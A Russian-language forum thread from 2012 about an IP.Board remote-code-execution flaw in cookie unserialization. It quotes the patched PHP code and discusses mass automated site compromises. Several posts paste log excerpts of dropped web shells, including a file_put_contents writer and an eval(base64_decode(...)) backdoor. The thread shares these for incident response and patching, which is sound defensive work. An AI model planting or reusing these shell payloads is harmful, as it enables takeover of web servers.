Перейти к публикации
Дизайн и модификация IPS Community IPBSkinsBETA
Поиск в
  • Дополнительно...
Искать результаты, содержащие...
Искать результаты в...
siv1987

Security update

Рекомендованные сообщения

ИБРовцы похоже еще спят http://forums.ibresource.ru/index.php?/topic/64826/ :)

если прошурстить у них в /cache/ наверняка и шелл найдется)

 

Патчи от 6 ноября 2012 для ИБР версий

http://ipbskins.ru/forum/topic10798.html/page__view__findpost__p__70490

  • Upvote 1

Поделиться сообщением


Ссылка на сообщение

Что-то так лениво обновлять все форумы...

 

А в IBR работают бандерлоги - запихали свои функции в core.php, и этим добились несовместимости своего дистрибутива с английским. Положили бы свои сео-функции в constants.php, а переназначение ЧПУ - сделали бы хуком, и такой проблемы не было бы, и совместимость была бы полная.

  • Upvote 2

Поделиться сообщением


Ссылка на сообщение

Насколько я вижу, алгоритм простейший. В старом методе get класса IPSCookie выполнялось userialize для cookie, если она начиналась с 'a:'. Если подсунуть в cookie сериализованный объект, он разворачивался в инстанс, и код конструктора выполнялся. По сути это уязвимость вида "remote code execution" - очень серьезная дыра. Проблему решили добавлением проверки на наличие объекта в составе упакованного объекта - метод safeUnserialize в составе класса IPSLib:

	/**
* mixed safe_unserialize(string $serialized)
* Safely unserialize, that is only unserialize string, numbers and arrays, not objects
*
* @license Public Domain
* @author dcz (at) phpbb-seo (dot) com
*/
static public function safeUnserialize( $serialized )
{
	// unserialize will return false for object declared with small cap o
	// as well as if there is any ws between O and :
	if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
	{
		if ( strpos( $serialized, 'O:' ) === false )
		{
			 // the easy case, nothing to worry about
			 // let unserialize do the job
			 return @unserialize( $serialized );
		 }
		 else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
		 {
			 // in case we did have a string with O: in it,
			 // but it was not a true serialized object
			 return @unserialize( $serialized );
		 }
	 }

	 return false;
}

 

Эту проверку внедрили в метод get:

    /**
 * Get a cookie.
 * Abstract layer allows us to do some checking, etc
 *
 * @param	string		Cookie name
 * @return	mixed
 * @since	2.0
 */
  	static public function get($name)
{
	/* Check internal data first */
	if ( isset( self::$_cookiesSet[ $name ] ) )
	{
		return self::$_cookiesSet[ $name ];
	}
   	else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
   	{
		$_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];

   		$_couldBeSerialized = stripslashes( urldecode( $_value ) );

   		if ( substr( $_couldBeSerialized, 0, 2 ) == 'a:' )
   		{ 
			return IPSLib::safeUnserialize( $_couldBeSerialized );
   		}
   		else
   		{
			return IPSText::parseCleanValue( urldecode( $_value ) );
   		}
   	}
   	else
   	{
   		return FALSE;
   	}
   }

  • Upvote 2

Поделиться сообщением


Ссылка на сообщение

Нас пропатчила только что английским патчем

Поделиться сообщением


Ссылка на сообщение

Возможно, нас тоже пытались ломать.

Поделиться сообщением


Ссылка на сообщение

Нда, посмотрел на пару школо-форумов, все поголовно с шеллами, на некоторых целый букет. Похоже уже начали ломать на автомате.

  • Upvote 1

Поделиться сообщением


Ссылка на сообщение

Подтверждаю. Один форум не пропатчил - десяток шеллов на нем уже лежит. Довольно серьезная дыра, создающая множество проблем.

 

Подобные проблемы заставляют задуматься об отказе от использования IP.Board...

Поделиться сообщением


Ссылка на сообщение

Вот такие вот шеллы дропают:

 

d19d8a81069d77af4fccda594ddef321.php

==============================================================================
URL: /index.php/index.php
Date: Mon, 05 Nov 2012 20:31:41 +0000
IP Address: 74.208.213.252
Time Taken: 0.00022
<?php print(md5(123456));echo file_put_contents($_POST[f],$_POST[b]); ?>

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================

 

37b5d35ddc8dd39b62ecfc0025fefb58.php

==============================================================================
URL: /index.php/forums/index.php
Date: Mon, 05 Nov 2012 20:32:02 +0000
IP Address: 74.208.213.252
Time Taken: 0.00021
<?php print(md5(123456));echo file_put_contents($_POST[f],$_POST[b]); ?>

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================

 

Явно автобот работает.

Поделиться сообщением


Ссылка на сообщение

Поступили кардинально. Вместо serialize/unserialize задействовали json_encode и json_decode. Чтобы применить патчи на русской версии, надо скачать английскую версию core.php, скопировать из нее и целиком заменить в русской класс:

/**
* IPSCookie
*
* This deals with saving and writing cookies
*/
class IPSCookie
{
...

 

Второй файл можно смело перезаписывать.

  • Upvote 1

Поделиться сообщением


Ссылка на сообщение

Вынесу тему в паблик, пожалуй. Тут ничего такого нет, а мне удобно ссылку давать.

Поделиться сообщением


Ссылка на сообщение

Это просто жесть какая-то. На всех форумах, к которым у меня есть доступ, есть /cache/ - шелл.

 

Видимо, стремительно прошла вторая волна, уже обходящая первый патч. Вот спасибо IPS за счастливое детство. Закрываю все свои IP.Board форумы на карантин.

Поделиться сообщением


Ссылка на сообщение

В большинстве случаев просто дропнули шелл и пошли дальше. Видимо, ботнет собирают.

Поделиться сообщением


Ссылка на сообщение

Вариации шеллов:

 

/cache/cx.php

==============================================================================
URL: /index.php/
Date: Tue, 06 Nov 2012 12:48:48 +0000
IP Address: 195.182.194.223
Time Taken: 0.00022

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================
==============================================================================
URL: /index.php/
Date: Tue, 06 Nov 2012 12:48:48 +0000
IP Address: 195.182.194.223
Time Taken: 0.00021

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================

 

/cache/cache.php

==============================================================================
=========================        END       ===================================
========================= /index.php?%3C?error_reporting(0);print(___);eval(base64_decode($_POST[HTTP]));die;?%3E ===================================
==============================================================================

Поделиться сообщением


Ссылка на сообщение

Всплывает старая истина: запрет на web-доступ к /cache/ - всегда хорошая идея)

Поделиться сообщением


Ссылка на сообщение

Создайте аккаунт или войдите в него для комментирования

Вы должны быть пользователем, чтобы оставить комментарий

Создать аккаунт

Зарегистрируйтесь для получения аккаунта. Это просто!

Зарегистрировать аккаунт

Войти

Уже зарегистрированы? Войдите здесь.

Войти сейчас

  • Сейчас на странице   0 пользователей

    Нет пользователей, просматривающих эту страницу.

×
×
  • Создать...